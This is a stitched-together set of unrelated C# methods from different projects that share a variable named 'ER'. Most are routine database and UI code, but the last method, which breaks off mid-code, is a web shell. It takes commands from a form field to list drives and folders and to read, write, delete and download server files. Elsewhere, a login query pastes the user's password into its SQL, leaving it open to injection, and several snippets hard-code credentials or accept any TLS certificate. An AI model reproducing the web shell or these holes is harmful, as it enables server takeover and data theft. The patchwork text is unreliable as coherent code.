public IList <Produto_DTO> cargaProduto() { try { SqlConnection CON = new SqlConnection(); CON.ConnectionString = Properties.Settings.Default.CST; SqlCommand CM = new SqlCommand(); CM.CommandType = System.Data.CommandType.Text; CM.CommandText = "SELECT*FROM tb_produtos"; CM.Connection = CON; SqlDataReader ER; IList <Produto_DTO> listProdutoDTO = new List <Produto_DTO>(); CON.Open(); ER = CM.ExecuteReader(); if (ER.HasRows) { while (ER.Read()) { Produto_DTO usu = new Produto_DTO(); usu.cod_produtos = Convert.ToInt32(ER["cod_produtos"]); usu.nome_produtos = Convert.ToString(ER["nome_produtos"]); usu.nome_fabrica = Convert.ToString(ER["nome_fabrica"]); usu.Endereco = Convert.ToString(ER["Endereco"]); listProdutoDTO.Add(usu); } } return(listProdutoDTO); } catch (Exception ex) { throw ex; } }
protected override bool internalWithdraw(decimal Amount, string Address) { try { var content = new StringContent(string.Format(System.Globalization.NumberFormatInfo.InvariantInfo, "{{\"address\":\"{0}\",\"amount\":{1:0}}}", Address, Amount * 100000000.0m), Encoding.UTF8, "application/json"); HttpResponseMessage Response = Client.PostAsync("users/wallet/withdrawals?hash=" + hash, content).Result; if (Response.IsSuccessStatusCode) { StakeWithdrawalRoot withdrawal = json.JsonDeserialize <StakeWithdrawalRoot>(Response.Content.ReadAsStringAsync().Result); if (withdrawal.withdrawal != null && withdrawal.user != null) { if (withdrawal.withdrawal.txid != null && withdrawal.withdrawal.txid != "") { return(true); } } } } catch (Exception ER) { Parent.DumpLog(ER.ToString(), 0); } return(false); }
public ER DeleteTask(ID tskid) { ER ret = ER.E_OBJ; int i; ID tmpid; Task Task; LockTaskTable(); try { for (i = 0; i < m_TaskTable.Count; i++) { Task = m_TaskTable[i]; tmpid = Task.TaskID; if (tskid == tmpid) { m_TaskTable.RemoveAt(i); //delete Task; ret = ER.E_OK; break; } else if (tskid < tmpid) { break; } } } finally { UnlockTaskTable(); } return(ret); }
public UsuarioDTO Autentica(UsuarioDTO objUsuario) { PgSqlConnection conn = new PgSqlConnection("User Id=postgres;Password=root;host=localhost;database=NIVEL_ACESSO;"); PgSqlCommand cmd = new PgSqlCommand(); cmd.CommandText = string.Format("SELECT * FROM public.\"TRABALHADORES\" WHERE \"LOGIN\" ='{0}' AND \"SENHA\" = '{1}';", objUsuario.Login, objUsuario.Senha); cmd.Connection = conn; conn.Open(); int aff = cmd.ExecuteNonQuery(); PgSqlDataReader ER; UsuarioDTO usuario = new UsuarioDTO(); ER = cmd.ExecuteReader(); if (ER.Read()) { usuario.Cpf = Convert.ToString(ER["cpf_usu"]); usuario.Nome = Convert.ToString(ER["nome_usu"]); usuario.Email = Convert.ToString(ER["email_usu"]); usuario.Login = Convert.ToString(ER["login_usu"]); usuario.Senha = Convert.ToString(ER["senha_usu"]); usuario.NivelDeAcesso = Convert.ToInt16(ER["nivelAcesso_usu"]); } conn.Close(); return(usuario); }
public ER Connect(T_IPV4EP p_myaddr, T_IPV4EP p_dstaddr, TMO tmout) { err_t err; ip_addr ma = new ip_addr(0); ip_addr sa = new ip_addr(0); ma.addr = lwip.lwip_htonl(p_myaddr.ipaddr); err = m_lwIP.tcp.tcp_bind(m_Pcb, ma, lwip.lwip_htons(p_myaddr.portno)); if (err != err_t.ERR_OK) { return(ER.E_OBJ); } sa.addr = lwip.lwip_htonl(p_dstaddr.ipaddr); err = m_lwIP.tcp.tcp_connect(m_Pcb, sa, lwip.lwip_htons(p_dstaddr.portno), Connected); if (err != err_t.ERR_OK) { return(ER.E_OBJ); } Task task = m_Nucleus.GetTask(ID.TSK_SELF); if ((tmout != 0) && (task == null)) { return(ER.E_CTX); } if (task == null) { return(ER.E_TMOUT); } if (tmout == 0) { return(ER.E_TMOUT); } SetState(true, new TMO(tcp.TCP_TMR_INTERVAL), task, Intarval); ER ret = task.Wait(m_SendTaskQueue, TSKWAIT.TTW_TCP, m_CepID, tmout); switch (ret) { case ER.E_OK: if ((m_TPcb == null) || (m_TPcb.state != tcp_state.ESTABLISHED)) { return(ER.E_RLWAI); } break; case ER.E_TMOUT: return(ER.E_TMOUT); default: return(ER.E_RLWAI); } return(ER.E_OK); }
public static void Main(string[] arg0) { ExcelReader ER = null; string FileLocation = @"C:\Temp\files\Claims Template.xlsx"; //string SheetName = "PADTable"; string SheetName = null; if (FileLocation.Contains(".xlsx")) { OPCPackage pkg = OPCPackage.OpenOrCreate(FileLocation); XSSFWorkbook hssfwb = new XSSFWorkbook(pkg); ISheet MySheet = null; if (SheetName == null || SheetName == "") { MySheet = hssfwb.GetSheetAt(0); } else { MySheet = hssfwb.GetSheet(SheetName); } ER = new ExcelReader(MySheet, null); } else if (FileLocation.Contains(".xls")) { XSSFWorkbook xssfwb = new XSSFWorkbook(new FileStream(FileLocation, FileMode.Open, FileAccess.Read)); ISheet MySheet = null; if (SheetName == null || SheetName == "") { MySheet = xssfwb.GetSheetAt(0); } else { MySheet = xssfwb.GetSheet(SheetName); } ER = new ExcelReader(MySheet, null); } else if (FileLocation.Contains(".csv")) { ER = new ExcelReader(null, new CsvReader(new StreamReader(FileLocation), false, ',')); } var row = 0; while (ER.HasNextRow()) //null is when the row only contains empty cells { row++; Console.WriteLine("Row " + row + " = " + ER.GetRowField(0)); Console.WriteLine("Row " + row + " = " + ER.GetRowField(1)); Console.WriteLine("Row " + row + " = " + ER.GetRowField(2)); Console.WriteLine("Row " + row + " = " + ER.GetRowField(3)); } ER.Close(); }
public override void Login(string Username, string Password, string twofa) { cookies = new CookieContainer(); ClientHandlr = new HttpClientHandler { UseCookies = true, CookieContainer = cookies, AutomaticDecompression = DecompressionMethods.Deflate | DecompressionMethods.GZip, Proxy = this.Prox, UseProxy = Prox != null }; ServicePointManager.ServerCertificateValidationCallback += (sender, cert, chain, sslPolicyErrors) => true; Client = new HttpClient(ClientHandlr) { BaseAddress = new Uri("https://" + url + "/") }; Client.DefaultRequestHeaders.AcceptEncoding.Add(new System.Net.Http.Headers.StringWithQualityHeaderValue("gzip")); Client.DefaultRequestHeaders.AcceptEncoding.Add(new System.Net.Http.Headers.StringWithQualityHeaderValue("deflate")); Client.DefaultRequestHeaders.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"); Parent.DumpLog("BE login 1", 8); try { accesstoken = Password; ConnectSocket(); if (WSClient.State == WebSocketState.Open) { Parent.DumpLog("BE login 7.1", 7); ispd = true; lastupdate = DateTime.Now; ForceUpdateStats = false; new Thread(new ThreadStart(GetBalanceThread)).Start(); finishedlogin(true); return; } else { Parent.DumpLog("BE login 7.2", 7); finishedlogin(false); return; } } catch (AggregateException ER) { Parent.DumpLog(ER.ToString(), -1); finishedlogin(false); return; } catch (Exception ERR) { Parent.DumpLog(ERR.ToString(), -1); finishedlogin(false); return; } finishedlogin(false); return; }
public ActionResult Edit(ER EER) { int id = EER.BOOK_ID; var ed = db.ER.Where(m => m.BOOK_ID == id).FirstOrDefault(); ed.BOOK_CLASS = EER.BOOK_CLASS; ed.BOOK_NAME = EER.BOOK_NAME; ed.BOOK_BOUGHT_DATE = EER.BOOK_BOUGHT_DATE; ed.BOOK_STATUS = EER.BOOK_STATUS; ed.CREATE_USER = EER.CREATE_USER; db.SaveChanges(); return(RedirectToAction("Index")); }
internal SerializedReferenceSourceLibrary ToSerializedReferenceSourceLibrary() { return(new SerializedReferenceSourceLibrary { Name = this.Name, Description = this.Description, Location = this.Location, Language = this.Language, CompatibleDotNetVersions = this.CompatibleDotNetVersions, ReferenceAssemblies = this.ReferenceAssemblies.Select(RA => RA.ToSerializedReferenceAssembly()).ToList(), EmbeddedResources = this.EmbeddedResources.Select(ER => ER.ToSerializedEmbeddedResource()).ToList() }); }
private static bool _2Chainz() { var chainable = TargetSelector.SelectedTarget ?? TargetSelector.GetTarget(E.Range, DamageType.Magical); if (chainable != null) { if (E.IsReady()) { if (ObjectManager.Player.LSDistance(chainable) < E.Range) { var predA = E.GetPrediction(chainable); if (predA.Hitchance >= HitChance.High) { E.Cast(chainable); } } } else if (R.IsReady() && ObjectManager.Player.Spellbook.GetSpell(SpellSlot.R).Name == "LeblancSoulShackleM") { if (ObjectManager.Player.LSDistance(chainable) < E.Range) { var pred = ER.GetPrediction(chainable); if (pred.Hitchance >= HitChance.High) { ER.Cast(chainable); Console.WriteLine("2Chainz: Cast R(E)"); } } return(true); } return(false); } if (!getCheckBoxItem(comboMenu, "2W") || !W.IsReady() || !W.IsFirstW() || !E.IsReady()) { return(false); } chainable = TargetSelector.SelectedTarget ?? TargetSelector.GetTarget(W.Range + E.Range, DamageType.Magical); if (!chainable.LSIsValidTarget(W.Range + E.Range) || chainable.HasEBuff()) { return(false); } var pos = Player.ServerPosition.LSExtend(chainable.ServerPosition, W.Range + 10); Console.WriteLine("2Chainz: Cast Gapclose W"); return(W.Cast(pos)); }
/*Metodo cargaUsuario, retorna uma lista de objetos usuario DTO * (composto por varios atributos), vai ate o BD e busca todos os usuarios * Usamos o try e catch caso de algum erro, retorna para a camada View * Executar o metodo cargaUsuario(Sera cirado na DAL)*/ public IList <usuario_DTO> cargaUsuario() { try { /*Conexao com BD * Seleciona todos os dados da tb_usuarios */ SqlConnection CON = new SqlConnection(); CON.ConnectionString = Properties.Settings.Default.CST; SqlCommand CM = new SqlCommand(); CM.CommandType = System.Data.CommandType.Text; CM.CommandText = "SELECT*FROM tb_usuarios"; CM.Connection = CON; SqlDataReader ER; IList <usuario_DTO> listUsuarioDTO = new List <usuario_DTO>(); CON.Open(); ER = CM.ExecuteReader(); if (ER.HasRows) { while (ER.Read()) { usuario_DTO usu = new usuario_DTO(); /* * nome dos objetos cirados na DTO * cada objeto criado e enviado para a lista, * possibilitando que no final vc tenha uma lista * com varios usuarios! */ usu.cod_usuario = Convert.ToInt32(ER["cod_usuario"]); usu.perfil = Convert.ToInt32(ER["perfil"]); usu.cadastro = Convert.ToDateTime(ER["cadastro"]); usu.nome = Convert.ToString(ER["nome"]); usu.email = Convert.ToString(ER["email"]); usu.login = Convert.ToString(ER["cadastro"]); usu.senha = Convert.ToString(ER["senha"]); usu.situacao = Convert.ToString(ER["situacao"]); listUsuarioDTO.Add(usu); } } return(listUsuarioDTO); } catch (Exception ex) { throw ex; } }
public IList <contatos_DTO> cargaContatos() { try { //Criando a string de conexão MySqlConnection CON = new MySqlConnection(); CON.ConnectionString = Properties.Settings.Default.CST_MYSQL; //Criaçao do comando Select sql MySqlCommand CM = new MySqlCommand(); CM.CommandType = System.Data.CommandType.Text; CM.CommandText = "SELECT * FROM contatos WHERE situacao = '1'"; CM.Connection = CON; //Criação da leitura dos dados da tabela MySqlDataReader ER; //Lista que irá armazenar os dados que serão lidos IList <contatos_DTO> listContatoDTO = new List <contatos_DTO>(); //Abrindo conexão CON.Open(); //Realizando a leitura e adicionando na lista ER = CM.ExecuteReader(); if (ER.HasRows) { while (ER.Read()) { contatos_DTO cont = new contatos_DTO(); // cont.id = Convert.ToInt32(ER["id"]); cont.nome = Convert.ToString(ER["nome"]); cont.telefone = Convert.ToString(ER["telefone"]); cont.email = Convert.ToString(ER["email"]); cont.mensagem = Convert.ToString(ER["mensagem"]); cont.situacao = Convert.ToString(ER["situacao"]); listContatoDTO.Add(cont); } } return(listContatoDTO); } catch (Exception ex) { throw ex; } }
// private void btnsave_Click(object sender, RoutedEventArgs e) //{ // if (error != 0) // { // pop1.IsOpen = true; // } // else // { // if (rbmaintance.IsChecked == true) // { // maintenance = "1"; // } // else maintenance = "0"; // if (rbmanagement.IsChecked == true) // { // management = "1"; // } // else management = "0"; // blockroom br = new blockroom(); // br.ROOM_NO = txtroomno.Text; // br.ROOM_TYPE = txtroomtype.Text; // br.FROM_DATE = dpfromdate.Text; // br.TO_DATE = dptodate.Text; // br.MAINTANCE = maintenance.ToString(); // br.MANAGEMENT = management.ToString(); // br.REASON = txtreason.Text; // //11/15/2017 // //br.USER_NAME = login.u; // br.INSERT_BY = login.u; // br.INSERT_DATE = DateTime.Today; // // // br.Insert(); // MessageBox.Show("inserted sucessfully"); // clear(); // disable(); // btnblock.IsEnabled = true; // btnrelease.IsEnabled = true; // btnsave.IsEnabled = false; // this.NavigationService.Refresh(); // btnblock.Background = new SolidColorBrush(Color.FromRgb(53, 71, 102)); // btnrelease.Background = new SolidColorBrush(Color.FromRgb(53, 71, 102)); // } //} //public async Task<string> delay() //{ // clear(); // btnblock.IsEnabled = false; // btnrelease.IsEnabled = false; // btnsave.IsEnabled = false; // await Task.Delay(900000);//asynchronously it is updating the color in room master after the given period of time. // return "Finished"; //} private void btnrelease_Click(object sender, RoutedEventArgs e) { try { home h = new home(); br.ROOM_NO = txtroomno.Text; enable(); string St = null; if (rbmaintance1.IsChecked == true) { St = "Green"; } else { St = "Blue"; } Button btn = new Button(); btn.Content = txtroomno.Text; br.ROOM_NO = txtroomno.Text; ER.SET_COLOR(St, btn); br.ColorUpdate(St); //string result = await delay(); //string S = "Green"; //Button bt = new Button(); //bt.Content = txtroomno.Text; //br.ROOM_NO = txtroomno.Text; //ER.SET_COLOR(S, bt); //br.ColorUpdate(S); clear(); h.t.Start(); btnrelease.Background = new SolidColorBrush(Colors.Orange); btnblock.Background = new SolidColorBrush(Color.FromRgb(53, 71, 102)); } catch (Exception) { } }
public void TestER() { var range = ESyllable.GetAllByChar('䣧'); Assert.AreEqual(1, range.Count); var syl = range[0]; Assert.AreEqual("弋翊翌廙黓翼𩙺𦏵䴬隿𧃟㚤潩杙芅㔴𧾰𨙒𥡪蛡𢦭𢖺瀷𢎀𠥦熼釴𤼌𧑌𦔜䄩𢓀䘝䣧", syl.HeadWos.ToString()); Assert.AreEqual('以', syl.Initial.Name); Assert.AreEqual("蒸", syl.Final.Name); Assert.True(syl.Final.Clicked); Assert.AreEqual('職', syl.Section.Title); Assert.True(ER.IsLevel('東')); Assert.True(ER.IsOblique('共')); Assert.True(ER.IsLevel('共')); }
//Metodo carregarUsuario, retorna uma lista de objetos UsuarioDTO public IList <UsuarioDTO> carregarUsuario() { try { //Conexão com o banco de dados //Seleciona todos os dados da tabela Usuario SqlConnection CON = new SqlConnection(); CON.ConnectionString = Properties.Settings.Default.CST; SqlCommand CM = new SqlCommand(); CM.CommandType = System.Data.CommandType.Text; CM.CommandText = "SELECT*FROM Usuario"; CM.Connection = CON; SqlDataReader ER; IList <UsuarioDTO> listUsuarioDTO = new List <UsuarioDTO>(); CON.Open(); ER = CM.ExecuteReader(); if (ER.HasRows) { while (ER.Read()) { UsuarioDTO usuario = new UsuarioDTO(); /* * Nome dos objetos criados na DTO, cada objeto criado e enviado para a lista, * possibilitando que no final tenha uma lista com vários usuários */ usuario.IdUsuario = Convert.ToInt32(ER["IdUsuario"]); usuario.PerfilUsuario = Convert.ToInt32(ER["PerfilUsuario"]); usuario.CadastroUsuario = Convert.ToDateTime(ER["cadastroUsuario"]); usuario.NomeUsuario = Convert.ToString(ER["NomeUsuario"]); usuario.LoginUsuario = Convert.ToString(ER["LoginUsuario"]); usuario.SenhaUsuario = Convert.ToString(ER["Senhausuario"]); usuario.EmailUsuario = Convert.ToString(ER["EmailUsuario"]); usuario.SituacaoUsuario = Convert.ToString(ER["SituacaoUsuario"]); listUsuarioDTO.Add(usuario); } } return(listUsuarioDTO); } catch (Exception ex) { throw ex; } }
public IList <ProductOrder> ListAllProductOrders() { try { /* */ SqlConnection conn = new SqlConnection(); conn.ConnectionString = "Data Source=(localdb)\\MSSQLLocalDB;Initial Catalog=EntityContorsoPets;Integrated ecSurity=True; ConnectRetryCount=0"; SqlCommand cmd = new SqlCommand(); cmd.CommandType = System.Data.CommandType.Text; cmd.CommandText = "SELECT * FROM dbo.Customers"; cmd.Connection = conn; /* */ SqlDataReader ER; IList <ProductOrder> listProductOrders = new List <ProductOrder>(); conn.Open(); // ER = cmd.ExecuteReader(); // /* */ if (ER.HasRows) { while (ER.Read()) { /* */ ProductOrder productOrder = new ProductOrder(); //all collumns field productOrder.ProductOrderId = Convert.ToInt32(ER["OrderID"]); productOrder.Quantity = Convert.ToInt32(ER["Quantity"]); productOrder.Product = ((Product)ER["OrderID"]); productOrder.Order = ((Order)ER["OrderID"]); productOrder.ProductID = Convert.ToInt32(ER["ProductID"]); productOrder.OrderID = Convert.ToInt32(ER["OrderID"]); listProductOrders.Add(productOrder); } } return(listProductOrders); } catch (Exception ex) { throw ex; } }
/* */ public IList <Order> ListAllOrders() { try { /* */ SqlConnection conn = new SqlConnection(); conn.ConnectionString = "Data Source=(localdb)\\MSSQLLocalDB;Initial Catalog=EntityContorsoPets;Integrated ecSurity=True; ConnectRetryCount=0"; SqlCommand cmd = new SqlCommand(); cmd.CommandType = System.Data.CommandType.Text; cmd.CommandText = "SELECT * FROM dbo.Customers"; cmd.Connection = conn; /* */ SqlDataReader ER; IList <Order> listOrders = new List <Order>(); conn.Open(); // ER = cmd.ExecuteReader(); // /* */ if (ER.HasRows) { while (ER.Read()) { /* */ Order order = new Order(); //all collumns field order.OrderId = Convert.ToInt32(ER["OrderID"]); order.OrderPlacedDate = Convert.ToDateTime(ER["OrderPlacedDate"]); order.OrderFufilled = Convert.ToDateTime(ER["OrderFufilled"]); order.CustomerId = Convert.ToInt32(ER["CustomerID"]); order.Customer = ((Customer)ER["Customer"]); listOrders.Add(order); } } return(listOrders); } catch (Exception ex) { throw ex; } }
public IList <usuario_DTO> cargaUsuario() { try { SqlConnection CON = new SqlConnection(); CON.ConnectionString = Properties.Settings.Default.CST; SqlCommand CM = new SqlCommand(); CM.CommandType = System.Data.CommandType.Text; CM.CommandText = "SELECT*FROM tbUser"; CM.Connection = CON; SqlDataReader ER; IList <usuario_DTO> listUsuarioDTO = new List <usuario_DTO>(); CON.Open(); ER = CM.ExecuteReader(); if (ER.HasRows) { while (ER.Read()) { usuario_DTO usu = new usuario_DTO(); /*nome dos objetos criados na DTO * Cada objeto criado é enviado para a lista, possibilitando * que no final vc tenha uma lista com vários usuários */ usu.idUser = Convert.ToInt32(ER["idUser"]); usu.perfil = Convert.ToInt32(ER["perfil"]); usu.register = Convert.ToDateTime(ER["register"]); usu.name = Convert.ToString(ER["name"]); usu.email = Convert.ToString(ER["email"]); usu.login = Convert.ToString(ER["register"]); usu.password = Convert.ToString(ER["password"]); usu.situation = Convert.ToString(ER["situation"]); listUsuarioDTO.Add(usu); } } return(listUsuarioDTO); } catch (Exception ex) { throw ex; } }
/* Method ListAllProducts: return the Object list of Product class wich contains all its attributes, * while acess the database to get the ORM dbo.Products table columns*/ public IList <Product> ListAllProducts() { try { /* Database Connection Start * Selection of all collumns from table dbo.Products*/ SqlConnection conn = new SqlConnection(); conn.ConnectionString = "Data Source=(localdb)\\MSSQLLocalDB;Initial Catalog=EntityContorsoPets;Integrated ecSurity=True; ConnectRetryCount=0"; SqlCommand cmd = new SqlCommand(); cmd.CommandType = System.Data.CommandType.Text; cmd.CommandText = "SELECT * FROM dbo.Products"; cmd.Connection = conn; /* the DataReader Type var catches the data from DB transformationg the Entities on Objects */ SqlDataReader ER; IList <Product> listProducts = new List <Product>(); conn.Open(); // connection efective opening ER = cmd.ExecuteReader(); /* executes the sql command method of var CMD * and assigns it to the ER data reader var */ /* the linq method HasRows counts if exists registers to validate and send them to the list */ if (ER.HasRows) { while (ER.Read()) { /* whhile each register is readed, a product object is created and it's added on list, * if it has registers */ Product product = new Product(); //all collumns field product.ProductId = Convert.ToInt32(ER["ProductID"]); product.name = Convert.ToString(ER["name"]); product.price = Convert.ToDecimal(ER["price"]); listProducts.Add(product); } } return(listProducts); }catch (Exception ex) { throw ex; } }
public IList <usuario_DTO> cargaUsuario() { try { // conexao com BD - seleciona todos os dados da tb_usuarios SqlConnection CON = new SqlConnection(); CON.ConnectionString = Properties.Settings.Default.CST; SqlCommand CM = new SqlCommand(); CM.CommandType = System.Data.CommandType.Text; CM.CommandText = "SELECT*FROM tb_usuarios"; CM.Connection = CON; SqlDataReader ER; IList <usuario_DTO> listUsuarioDTO = new List <usuario_DTO>(); CON.Open(); ER = CM.ExecuteReader(); if (ER.HasRows) { while (ER.Read()) { usuario_DTO usu = new usuario_DTO(); usu.cod_usuario = Convert.ToInt32(ER["cod_usuario"]); usu.perfil = Convert.ToInt32(ER["perfil"]); usu.cadastro = Convert.ToDateTime(ER["cadastro"]); usu.nome = Convert.ToString(ER["nome"]); usu.email = Convert.ToString(ER["email"]); usu.login = Convert.ToString(ER["cadastro"]); usu.senha = Convert.ToString(ER["senha"]); usu.situacao = Convert.ToString(ER["situacao"]); listUsuarioDTO.Add(usu); } } return(listUsuarioDTO); } catch (Exception ex) { throw ex; } }
public IList <UsuarioDTO> CarregarUsuario() { PgSqlConnection conn = new PgSqlConnection("User Id=postgres;Password=root;host=localhost;database=NIVEL_ACESSO;"); PgSqlCommand cmd = new PgSqlCommand(); cmd.CommandText = "SELECT * FROM public.\"TRABALHADORES\""; cmd.Connection = conn; conn.Open(); int aff = cmd.ExecuteNonQuery(); PgSqlDataReader ER; IList <UsuarioDTO> listaUsuarioDTO = new List <UsuarioDTO>(); ER = cmd.ExecuteReader(); if (ER.HasRows) { while (ER.Read()) { UsuarioDTO usuario = new UsuarioDTO(); usuario.Cpf = Convert.ToString(ER["CPF"]); usuario.Nome = Convert.ToString(ER["NOME"]); usuario.Email = Convert.ToString(ER["EMAIL"]); usuario.Login = Convert.ToString(ER["LOGIN"]); usuario.Status = Convert.ToChar(ER["STATUS"]); usuario.Senha = Convert.ToString(ER["SENHA"]); usuario.NivelDeAcesso = Convert.ToInt16(ER["NIVEL_DE_ACESSO"]); listaUsuarioDTO.Add(usuario); } } conn.Close(); return(listaUsuarioDTO); }
internal SerializedGruntTask ToSerializedGruntTask() { return(new SerializedGruntTask { Name = this.Name, Aliases = this.Aliases, Author = this.Author.ToSerializedGruntTaskAuthor(), Description = this.Description, Help = this.Help, Language = this.Language, CompatibleDotNetVersions = this.CompatibleDotNetVersions, Code = this.Code, TaskingType = this.TaskingType, UnsafeCompile = this.UnsafeCompile, TokenTask = this.TokenTask, Options = this.Options.OrderBy(O => O.Id).Select(O => O.ToSerializedGruntTaskOption()).ToList(), ReferenceSourceLibraries = this.ReferenceSourceLibraries.Select(RSL => RSL.ToSerializedReferenceSourceLibrary()).ToList(), ReferenceAssemblies = this.ReferenceAssemblies.Select(RA => RA.ToSerializedReferenceAssembly()).ToList(), EmbeddedResources = this.EmbeddedResources.Select(ER => ER.ToSerializedEmbeddedResource()).ToList() }); }
public List <usuarioDTO> loadUser() { try { SqlCommand comando = new SqlCommand(); comando.Connection = Conexao(); comando.CommandType = System.Data.CommandType.Text; comando.CommandText = "SELECT * FROM TB_Usuario"; SqlDataReader ER; //Objeto leitor List <usuarioDTO> listUsuarioDTO = new List <usuarioDTO>(); //objeto do tipo lista "tabela" ER = comando.ExecuteReader(); // realiza a conexao if (ER.HasRows) // Se tiver linha de retorno { while (ER.Read()) //Laço para varrer o ER - condição de parada "Até o fim das informações" { usuarioDTO USER = new usuarioDTO(); //criando o objeto e instanciando a classe "usuarioDTO" USER.Id_user = Convert.ToInt32(ER["Id_user"]); USER.Nome_user = Convert.ToString(ER["Nome_user"]); USER.Login_user = Convert.ToString(ER["Login_user"]); USER.Senha_user = Convert.ToString(ER["Senha_user"]); USER.Email_user = Convert.ToString(ER["Email_user"]); USER.Cad_user = Convert.ToDateTime(ER["Cad_user"]); USER.Flg_situacao = Convert.ToChar(ER["Flg_situacao"]); USER.Cod_perfil = Convert.ToInt32(ER["Cod_perfil"]); listUsuarioDTO.Add(USER); } } Conexao().Close(); return(listUsuarioDTO);// Retorna a lista para quem chamou } catch (Exception ex) { log.Error("Erro ao se comunicar com o banco de dados", ex); Conexao().Close(); throw ex; } }
public override void Login(string Username, string Password, string twofa) { //https://bit-exo.com/ CookieContainer cookies = new CookieContainer(); ClientHandlr = new HttpClientHandler { UseCookies = true, CookieContainer = cookies, AutomaticDecompression = DecompressionMethods.Deflate | DecompressionMethods.GZip, Proxy = this.Prox, UseProxy = Prox != null }; ServicePointManager.ServerCertificateValidationCallback += (sender, cert, chain, sslPolicyErrors) => true; Client = new HttpClient(ClientHandlr) { BaseAddress = new Uri("https://" + url + "/") }; Client.DefaultRequestHeaders.AcceptEncoding.Add(new System.Net.Http.Headers.StringWithQualityHeaderValue("gzip")); Client.DefaultRequestHeaders.AcceptEncoding.Add(new System.Net.Http.Headers.StringWithQualityHeaderValue("deflate")); Client.DefaultRequestHeaders.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"); Parent.DumpLog("BE login 1", 8); try { accesstoken = Password; string s1 = ""; HttpResponseMessage resp = Client.GetAsync("").Result; Parent.DumpLog("BE login 2", 8); if (resp.IsSuccessStatusCode) { s1 = resp.Content.ReadAsStringAsync().Result; Parent.DumpLog("BE login 2.1", 7); } else { Parent.DumpLog("BE login 2.2", 7); if (resp.StatusCode == HttpStatusCode.ServiceUnavailable) { s1 = resp.Content.ReadAsStringAsync().Result; //cflevel = 0; System.Threading.Tasks.Task.Factory.StartNew(() => { System.Windows.Forms.MessageBox.Show("bit-exo has their cloudflare protection on HIGH\n\nThis will cause a slight delay in logging in. Please allow up to a minute."); }); if (!Cloudflare.doCFThing(s1, Client, ClientHandlr, 0, "bit-exo.com")) { finishedlogin(false); return; } } Parent.DumpLog("BE login 2.3", 7); } string response = Client.GetStringAsync("socket.io/?EIO=3&transport=polling&t=" + CurrentDate()).Result; Parent.DumpLog("BE login 3", 7); string c = response.Substring(response.IndexOf("sid\":\"") + "sid\":\"".Length); c = c.Substring(0, c.IndexOf("\"")); Parent.DumpLog("BE login 4", 7); foreach (Cookie c3 in cookies.GetCookies(new Uri("https://" + url))) { if (c3.Name == "io") { c = c3.Value; } /*if (c3.Name == "__cfduid") * c2 = c3;*/ } Parent.DumpLog("BE login 5", 7); string chatinit = "420[\"chat_init\",{\"app_id\":" + APPId + ",\"access_token\":\"" + accesstoken + "\",\"subscriptions\":[\"CHAT\",\"DEPOSITS\",\"BETS\"]}]"; chatinit = chatinit.Length + ":" + chatinit; var content = new StringContent(chatinit, Encoding.UTF8, "application/octet-stream"); response = Client.PostAsync("socket.io/?EIO=3&transport=polling&t=" + CurrentDate() + "&sid=" + c, content).Result.Content.ReadAsStringAsync().Result; Parent.DumpLog("BE login 5", 7); List <KeyValuePair <string, string> > Cookies = new List <KeyValuePair <string, string> >(); List <KeyValuePair <string, string> > Headers = new List <KeyValuePair <string, string> >(); Headers.Add(new KeyValuePair <string, string>("User-Agent", "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36")); foreach (Cookie x in cookies.GetCookies(new Uri("https://" + url))) { Cookies.Add(new KeyValuePair <string, string>(x.Name, x.Value)); } Cookies.Add(new KeyValuePair <string, string>("io", c)); Parent.DumpLog("BE login 6", 7); WSClient = new WebSocket("wss://" + url + "/socket.io/?EIO=3&transport=websocket&sid=" + c, null, Cookies, Headers, "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36", "https://" + url, WebSocketVersion.Rfc6455, null, System.Security.Authentication.SslProtocols.Tls | System.Security.Authentication.SslProtocols.Tls11 | System.Security.Authentication.SslProtocols.Tls12); WSClient.Closed += WSClient_Closed; WSClient.DataReceived += WSClient_DataReceived; WSClient.Error += WSClient_Error; WSClient.MessageReceived += WSClient_MessageReceived; WSClient.Opened += WSClient_Opened; WSClient.Open(); while (WSClient.State == WebSocketState.Connecting) { Thread.Sleep(100); } if (WSClient.State == WebSocketState.Open) { Parent.DumpLog("BE login 7.1", 7); ispd = true; lastupdate = DateTime.Now; new Thread(new ThreadStart(GetBalanceThread)).Start(); finishedlogin(true); return; } else { Parent.DumpLog("BE login 7.2", 7); finishedlogin(false); return; } } catch (AggregateException ER) { Parent.DumpLog(ER.ToString(), -1); finishedlogin(false); return; } catch (Exception ERR) { Parent.DumpLog(ERR.ToString(), -1); finishedlogin(false); return; } finishedlogin(false); return; }
public static void DispatchAndListen(this IEventDispatcher dispatcher, ER requester, params BaseEventListener[] listeners) { dispatcher.ListenOnceForOne(listeners); requester.Dispatch(dispatcher); }
public static void Request() { HttpContext context = HttpContext.Current; HttpRequest request = context.Request; HttpResponse response = context.Response; string Z = request.Form["023"]; if (Z != "") { string Z1 = request.Form["Z1"]; string Z2 = request.Form["Z2"]; string R = ""; try { switch (Z) { case "A": { string[] c = Directory.GetLogicalDrives(); R = string.Format("{0}\t", context.Server.MapPath("/")); for (int i = 0; i < c.Length; i++) { R += c[i][0] + ":"; } break; } case "B": { DirectoryInfo m = new DirectoryInfo(Z1); foreach (DirectoryInfo D in m.GetDirectories()) { R += string.Format("{0}/\t{1}\t0\t-\n", D.Name, File.GetLastWriteTime(Z1 + D.Name).ToString("yyyy-MM-dd hh:mm:ss")); } foreach (FileInfo D in m.GetFiles()) { R += string.Format("{0}\t{1}\t{2}\t-\n", D.Name, File.GetLastWriteTime(Z1 + D.Name).ToString("yyyy-MM-dd hh:mm:ss"), D.Length); } break; } case "C": { StreamReader m = new StreamReader(Z1, Encoding.Default); R = m.ReadToEnd(); m.Close(); break; } case "D": { StreamWriter m = new StreamWriter(Z1, false, Encoding.Default); m.Write(Z2); R = "1"; m.Close(); break; } case "E": { if (Directory.Exists(Z1)) { Directory.Delete(Z1, true); } else { File.Delete(Z1); } R = "1"; break; } case "F": { response.Clear(); response.Write("\x2D\x3E\x7C"); response.WriteFile(Z1); response.Write("\x7C\x3C\x2D"); goto End; } case "G": { byte[] B = new byte[Z2.Length / 2]; for (int i = 